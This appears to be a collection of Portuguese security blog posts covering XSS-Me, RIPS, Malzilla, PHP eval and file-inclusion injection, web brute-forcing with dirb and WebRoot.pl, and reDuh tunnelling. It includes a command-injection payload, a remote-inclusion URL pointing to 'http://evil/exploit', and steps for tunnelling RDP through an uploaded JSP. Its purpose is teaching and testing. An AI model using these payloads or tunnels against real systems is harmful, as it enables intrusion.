Treinamentos em Segurança da Informação

Olá pessoal tudo bem?

Sei que treinamentos de segurança em um formato diferenciado e que realmente tragam conteúdo de alto nível tanto para iniciantes quanto profissionais da área são algo difícil de encontrar.

Pensando nisto estou com planos para um projeto em 2014 voltado exclusivamente para treinamentos técnicos de alto nível que possam abranger tanto os que pretendem ingressar na área de segurança quanto profissionais de nível Sênior que desejam consolidar seus conhecimentos em áreas que talvez não sejam sua principal.

Disto isto gostaria de ouvir a opinião dos senhores, irei iniciar as rodadas de cursos com 3 principais categorias e que gostaria de saber entre estas quais vocês gostariam de participar caso houvesse esta turma:

– Malware Analysis: Analisando a fundo funcionalidades de malwares

– Penetration Testing:  Curso voltando a demonstrar técnicas e conceitos envolvidos em testes de penetração em ambientes corporativos tendo cenários realísticos e utilizando ferramental que irá ajudar você a criar seu próprio framework de trabalho.

– Web Application Hacking: Curso voltado a mostrar as principais falhas de segurança existentes em aplicações web, como por exemplo SQL Injection, XSS, entre outros. Curso totalmente hands-on onde o aluno irá aprender como funcionam as vulnerabilidades explorando-as e entendendo como auditar e corrigir.

Caso tenham alguma outra ideia de curso, também gostaria de saber. Enviem uma mensagem para  y2h4ck[at] gmail [dot] com com o subject [CURSO] e diga oque acha interessante.  Sua colaboração será muito bem vinda e será recompensada :D

Grande abraço! Enviem sua mensagem!

 

XSS-ME : Addon para Firefox de Análise de XSS

O XSS-me é um dos módulos de análise da suíte EXPLOIT-ME. Ela foi concebida pela empresa SECCOM Labs com o intuito de facilitar testes de segurança em aplicações web, fazendo com que a varredura de vulnerabilidades conhecidas como as TOP 10, ou seja, as que estão mais presentes, sejam detectadas em Forms e Inputs dentro de páginas web.

Basicamente o XSS-Me foi criado para testes utilizando vulnerabilidades de Reflected Cross-Site Scripting, e não Stored XSS.

A ferramenta trabalha enviando seu HTML forms e substituindo o valor do Form com strings que seriam utilizadas para explorar falhas de XSS attacks.

Se o resultado do HTML contiver um valor específico de JavaScript (document.vulnerable=true) significa que a página está vulnerável para aquela determinada string de XSS.

Um ponto importante que deve ser citado é que a ferramenta não  faz nenhuma tentativa de comprometer a segurança do sistema alvo. Ela procura por possíveis pontos de vulnerabilidade contra o sistema.  Desta forma não é efetuado nenhum tipo de port scanning, packet sniffing, password cracking ou firewall attacks a partir da ferramenta.

A ferramenta simplesmente automatiza o que um QA tester faria no site manualmente, injetando ele mesmo diretamente no browser as strings diretamente nos form fields.

A imagem acima mostra a SideBar do XSS-Me me mostrando as opções disponíveis quando eu abro o site do Google.  Automaticamente ela identifica as URLs que estão como links no Form e você pode testar o Form ou os Links que estão disponíveis nele.

Quando se escolhe o Form podemos escolher Strings específicas, rodar todos os Testes, ou optar por executar o Top 9 Tests, que irá varrer procurando pelas strings mais conhecidas.

O Xss-ME detecta todos os tipos de Cross-site Scriping ?

A resposta é óbvia: Não. O Xss-Me detecta muitos tipos de Reflected Cross-Site Scripting nos campos dos forms. Infelizmente ele não tem métodos para realmente efetuar o ataque de XSS (exemplo, um stored cross-site scripting precisa de dados fornecidos pelo usuário, ou então utilizar outras fontes como Cookies, links, ou Headers HTTP).   Porém novos vetores de XSS estão sendo descobertos o tempo todo e um dos pontos fortes do XSS-Me é que permite que você adicione novas strings de acordo com sua necessidade específica.

Para adicionar novas Assinaturas,  use o XSS-Strings Options , no menu Tools -> Xss-Me -> Options. Adicione o ataque em “Attack String”. Lembre-se que o ataque deve conter a string “document.vulnerable=true” no resultado do JavaScript para que a ferramenta possa interpretar o resultado corretamente. Por exemplo:

<script>document.vulnerable=true</script>

Resultados

Xss-Me tem 3 tipos de resultados:

Failures:  O número de testes que certamente resultaram na detecção de Reflected XSS.

Warnings: O número de testes que podem possivelmente resultar na detecção de um cross-site scripting, porém não pode validar com certeza porque o plugin não modifica o DOM Object no Firefox como é especificado no JavaScript, mas ele pode resultar em um ataque com sucesso em um browser diferente.

Pass: O número de testes que não resultaram em  detecção de reflected XSS

No próximo artigo iremos ver a outra ferramenta da Suite chamada  SQL-Me que atua da mesma forma porém utilizando testes de SQL-Injection.

Fontes:

http://labs.securitycompass.com/index.php/exploit-me/xss-me

Auditando Aplicações: Análise Estática de Códigos

Cada vez mais serviços estão sendo direcionados para plataforma web, sendo assim acabamos ficando dependentes ainda mais destas aplicações. Estes sistemas tem que ser cada vez mais onipresentes (quero acessá-los de qualquer lugar – cloud) confiáveis (quero que ele faça o que ele precisa fazer) e ágeis (quero que façam isso rápido!).

Qual a consequência disto? A consequência imediata é: sistemas cada vez mais complexos. Quando digo complexo não me refiro tão somente a complexidade do código fonte ou o seu desenvolvimento, mas também a complexidade inerente ao serviço em si. Cada vez mais APIs, cada vez mais plugins, cada vez mais sistemas interconectados e interdependentes.

Uma vez que a complexidade entrou na equação ela traz o seu efeito colateral: situações inesperadas.  Quando temos um ciclo de vida em nossa aplicação que não contempla o devido cuidado com segurança, temos implicações de diversos níveis. A maior delas é que em geral problemas que a primeira vista são simples e pequenos, acabam se tornando  verdadeiros pesadelos.

Análise Estática do Código consiste basicamente em antever problemas de segurança efetuando uma auditoria no código, sem executá-lo. Isso pode se tornar uma tarefa muito trabalhosa, especialmente quando o desenvolvedor não tem experiência com segurança e se não existe um framework de desenvolvimento seguro em uso no projeto.

As aplicações web são alvos constantes de ataques, quase que 24 horas por dia. Temos estatiscas de que muitas vezes, 60% do tráfego diário que chega a um website é gerado por bots que em sua grande maioria estão procurando por scripts vulneráveis para efetuar ataques, comprometer o servidor e a aplicação e fazê-la parte de sua rede de zumbis. Não seria nada legal ter seu e-Commerce em uma lista de hosts que estão disseminando Malwares para os usuários. Isto pode comprometer gravemente seus negócios.

Para auxiliar desenvolvedores neste árduo processo de análise estática, temos algumas aplicações muito interessantes e que podem realmente trazer a tona, muitas vezes problemas de segurança que não eram imaginados durante o desenvolvimento. Talvez aquele “warning” que seu compilador cuspiu na tela e você pensou “ah mas é apenas um warning, não tem nada de grave ai..” esconda muito mais do que imagina J

RIPS – Analisador Estático de vulnerabilidades em código fonte de Scripts PHP

RIPS é uma ferramenta escrita em PHP para encontrar vulnerabilidades em aplicações PHP utilizando o conceito de análise estática do código. Utilizando tokenização e parseando todos os arquivos de código PHP, ele consegue transformar seu código fonte PHP em program model e detectar sinks sensíveis (pontecialmente funções vulneráveis) que poderiam ser manipuladas por um userinput (influenciada por um usuário malicioso) durante o fluxo do programa. Além disto, baseado  na estrutura de output de uma vulnerabilidade encontrada, RIPS também oferece um framework integrado de code audit  para que você possa fazer uma análise manual.

Entre algumas das features apresentas pelo RIPS temos:

RIPS consegue identificar por padrão diversas vulnerabilidades em sua aplicação, em sua grande maioria as listadas no OWASP Top 10 são identificadas. Segue abaixo uma pequena lista das principais vulnerabilidades identificadas pela aplicação:

• Code Execution
• Command Execution
• Cross-Site Scripting
• Header Injection
• File Disclosure
• File Inclusion
• File Manipulation
• LDAP Injection
• SQL Injection
• XPath Injection

A interface de auditoria de código do RIPS consiste de algumas funcionalidades muito interessantes, entre elas podemos citar:

• Estatísticas referentes ao Scans e as vulnerabilidades da aplicação
• Linhas de código vulneraveis são agrupadas
• Descrição das Vulnerabilidades com exemplo de código, PoC e patch
• Engine que permite a criação do Exploit para explorer a vulnerabilidade encontrada
• Exibição gráfica de arquivos (conectada pelos includes)
• Exibição gráfica de funções (conectadas pelas calls)
• userinput list (parámetros da aplicação)
• visualização do código fonte com destaque em funções e parametros

Entre muitas outras que permitem que você faça o debug da aplicação utilizando inclusive expressões regulares. Efetuando a análise estática do código com RIPs, você consegue rapidez ao executar a análise (executar uma análise estática manualmente pode ser dolorosamente demorado).  Você consegue identificar blind/non-blind SQL exploitation, detectar backdoors em seu código entre outras vantagens.

Aplicação sendo analisada – Temos os resultados Preliminares com o número de funções vulneráveis.

Visualização gráfica dos Arquivos  – Interligação ocorre através dos Includes.

Engine permite criar Exploits para gerar PoC da vulnerabilidade.

Download + Instalação

O Download pode ser feito a partir do site http://rips-scanner.sourceforge.net

Para utilizar o RIPs você precisa primeiramente de um webserver local com suporte a PHP (tendo em vista que você é um desenvolvedor PHP, você já deve ter um J ).

Feito isto basta baixar a ultima versão estável , extrair os arquivos em seu Document Root do servidor web e acessar a interface, disponível em: <http://ip_servidor/rips>, e iniciar as análises.

Malzilla: Malware hunting tool

Infecções de malwares causadas por Drive-By Applets tem feito cada vez mais vitimas. Muitas vezes é dificil perceber que o website foi modificado. Muitas vulnerabilidades permitem que o atacante modifique o conteúdo da aplicação que o usuário visualiza, fazendo com que se torne cada vez mais dificil identificar possíveis ataques.
Uma tecnica utilizada por atacantes, que torna seus scripts maliciosos dificeis de serem detectados por engines de IDS, antivirus e afins, é a criptografia e ofuscamento do source, utilizando-se de multiplas camadas de javascript, e codificações como por exemplo Base64Encode, HTMLencode, entre outros.
Páginas que contem exploits geralmente usam uma série de redirecionamentos e códigos ofuscados para torna-la mais dificil para alguem identificar. Malzilla é um programa muito útil para explorar páginas maliciosas. Ele permite que você escolha seu próprio “user agent” e “referrer”, e tem a habilidade de usar inclusive proxies (webscarab, paros proxy, zap).
Através do Malzilla você pode visualizar o source da página e todos os headers HTTP. Além disso a ferramenta fornece diversos decodificadores e também possui a opção para Deobfuscate javascript.

Na imagem abaixo temos um exemplo de código ofuscado utilizado em um Phishing Scam, enviado por e-mail para usuários. A utilização do código ofuscado, faz com que filtros de conteúdo, falhem em identificar tags maliciosas que podem estar previamente cadastrada em alguma blacklist.

Este é o conteúdo de um link que recebemos por e-mail em um eCard Spam.

Para conseguir o link direto do malware, teremos que trabalhar com a função JavaScript unescape.  Vamos clicar em “Send Script to Decoder” e “Run Script” na aba do decoder, assim conseguiriamos os seguintes resultados:

Na janela abaixo, podemos ver decodificado um VBScript utilizado para fazer o download  de um arquivo malicioso.

Outro exemplo muito comum, durante um ataque de Drive-by Download, é o uso de scripts que tentam escrever diretamente o Binário através de um script no disco.

Com o Malzilla podemos trabalhar os diversos filtros para gerar uma cadeia de identificação que pode ajudar muitos especialistas de segurança a identificar ameaças que chegam por links de Spam.

A ferramenta é disponibilizada para Windows, assim como você baixar o Source dela para compilar  e utilizar em plataformas Unix.

Para maiores informações:

http://malzilla.sourceforge.net/documents.html

Eval()

A função eval() é muito utilizada por facilitar a vida de desenvolvedores transformando strings em instruções javascript e executando-as em seguida (desde que a instrução esteja correta).

Vejamos abaixo um exemplo de código javascript:

 

document.getElementById("meubotaovoltar").onclick = function () {
if (historicode1 == "home") { //historicode1 é minha variável que recebe o valor do último item clicado
location.href="home.htm"; //faz a chamada da página
} else if (historicode1 == "contatos") {
location.href="contatos.htm"
}

 

E a seguir o mesmo código acima porém utilizando a função eval():

 

document.getElementById("meubotaovoltar").onclick = function () {
eval("location.href="+historicode1+".htm");
}

 

A função minimizou totalmente o código. Por tratar o conteúdo de forma dinamica a função Eval() pode ser abusada de varias formas e um dos ataques mais difundidos é o Eval Injection.

Este ataque consiste na injeção de scripts que não são validados de forma apropriada pelo input de dados de usuário como parâmetro no site. Um usuário remoto pode inserir uma URL especialmente criada para enviar dados arbitrários para a função eval(). Isso resultará na execução do código pelo sistema vulneravel.

O ataque irá executar o código com a mesma permissão que o web service está executando no servidor remoto, isso inclui comandos executados no sistema.

 

Exemplo 01 : Sistema vulnerável a Eval Injection.

Vejamos o código abaixo:

$myvar = “varname”;

$x = $_GET[‘arg’];

eval(“\$myvar = \$x;”);

 

 

Como pode ser visto acima a variavel $arg é repassada via parametro GET e  em seguida é processada dentro da chamada eval().  Poderiamos explorar facilmente isto setando o valor da variavel para “10; system(\”/bin/passwd\”);”. Neste caso o webserver iria executar o comando no sistema e exibiria todos os usuários do Linux;

 

Exemplo 2:  Injetando arquivos remotes para explorar a função vulnerável.

Vejamos o código a seguir:

 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

 

Colocando red/blue o programador pensou que poderia garantir que somente blue.php e red.php poderiam ser carregados. Porem como qualquer um poderia simplesmente inserir dados arbitrários na variável COLOR, é possivel injetar códigos a partir de arquivos:

• /vulnerable.php?COLOR=http://evil/exploit   : Isto injetaria um arquivo remoto malicioso
• /vulnerable.php?COLOR=C:\ftp\upload\exploit : Isto poderia carregar um arquivo que foi feito upload para o server.

 

Como podem ver as vulnerabilidades relacionadas a dados inseridos como variáveis não validadas podem trazer diversos problemas, em especial a função eval() por ser utilizada em larga escala pode prejudicar consideravelmente a segurança de sua aplicação e servidores.

Web Application Brute-Force Attacks.

 

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

 

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

– Conseguir cookies de acesso a sessões de usuários;

– Usuários e senhas de diretórios protegidos;

– SessionID de aplicações;

– Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

 

 

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

 

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

– setar diferentes cookies

– adicionar qualquer tipo de HTTP header desejado

– utilizar proxys para mascarar a conexão

– Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

 

—————–

 

Generating Wordlist…

Generated Words: 839

 

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

 

 

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

 

 

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

 

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       – OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

 

 

PHP filesystem attack vectors

Olá pessoal, após um pequeno periodo de “férias” estou de volta postando algumas coisas interessantes que estão rolando por ai. Um texto que li estes dias que realmente me chamou a atenção foi o paper do Ushi Team falando sobre vetores de ataques ao filesystem utilizando PHP.

Um dos fatores mais interessantes é que um dos ataques demonstrados no paper refere-se ao uso do patch Suhoshin, justamente criado para delimitar ataques em códigos PHP, atuando como uma espécie de filtro de chamadas perigosas.

Uma leitura que realmente vale a pena.

Link: http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt

ClickJacking + XSS = YouR PwneD

No artigo a seguir postado pelo Nex (http://nex.playhack.net) é comentada a possibilidade de mesclar ataques de ClickJacking junto com XSS, aumentando consideravelmente o escopo de ação deste tão comentado ataque.

Link Aqui

reDuh: TCP Tunnel through HTTP Requests

Muitas vezes, durante um pentest, são encontradas falhas em aplicações web que permitem que seja feito o upload de arquivos para o servidor web. Nesta hora, apesar da falha não proporcionar um acesso administrativo direto, ela fornece um canal muito rico em possibilidades. Uma destas possibilidades que iremos tratar hoje é reDuh criado pela SensePost para HTTP Tunneling e TCP redirects.

O reDuh é atualmente uma ferramenta que pode ser utilizada para criar circuitos TCP através de requisições HTTP validadas.

Por enquanto não foi divulgada nenhuma documentação completa a respeito da ferramenta e no próprio site eles dizem que estão elaborando um .ppt demonstrativo. Porém vamos citar um exemplo simples de utilização da ferramenta.

Vamos pensar no seguinte cenário:

Digamos que você consiga exploitar uma falha qualquer ou conseguiu acesso por meio de um usuário desprotegido a um FTP do servidor web, e consegue enviar e/ou criar uma página JSP no servidor remoto.

Este usuário permitiria acesso ao Terminal Service outros servidores que estão atrás deste servidor web, e você não pode efetuar uma conexào RDP porque o firewall bloqueia todas as conexões de Inbound que chegam para estes hosts e libera apenas a porta 80.

Então nesse momento entra em ação o reDuh. Você faz o upload do arquivo reDuh.jsp para o alvo, que poderia ser o http://web001.target.com/uploads/reDuh.jsp

Feito isto agora, é necessário utilizar o reDuhClient em sua máquina apontando ele para a pagina que você acabou de fazer upload:

$ java reDuhClient web001.target.com 80 /uploads/reDuh.jsp

Você pode administrar o reDuhClient conectando na porta de gerenciamente que ele ira subir (1010 por padrão).

Uma vez conectado na console de gerenciamento do reDuhClient digite:

[createTunnel]1234:term-serv.target.com:3389

O que isto faria:

a) reDuhClient irá iniciar um socket Listen na porta 1324 e enviará uma mensagem HTTP para /uploads/reDuh.jsp que irá então abrir um socket para term-serv.target.com:3389.

b) Qualquer tráfego enviado para a o localhost socket na porta 1234 será codificado, e compactado em requests HTTP e depois enviado para o script /uploads/reDuh.jsp.

c) Qualquer tráfego vindo do servidor term-serv.target.com:3389 para o jsp é adicionado em uma query e enviado de volta para o reDuhClient quando ele requisitar.

Agora basta você iniciar o RDP Cliente de sua preferência e apontar para localhost:1234

O sistema pode gerenciar multiplas conexões, então enquanto a sessão RDP está acontecendo, nós podemos usar o manager e requisitar outros tuneis.

Neste exemplo utilizamos JsP, porém o mesmo se aplicaria caso o servidor utilizasse PHP, ASP ou JSP.

Abaixo seguem os links para Download da Ferramenta:

Download reDuhClient (the local proxy) | Download reDuhu Server Pages (JSP/PHP/ASP)

Aqui também os slides da apresentação na BlackHat 2008 onde o pessoal utilizou o reDuh como exemplo na apresentaçào sobre TCP Redirections and Tunnels.

Espero que gostem.

Good Hacking 4 All.

Curso: Web Application Hacking 29/11

Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.

Preço especial para quem citar este link.

Aguardo a todos.

Good Hacking 4 All.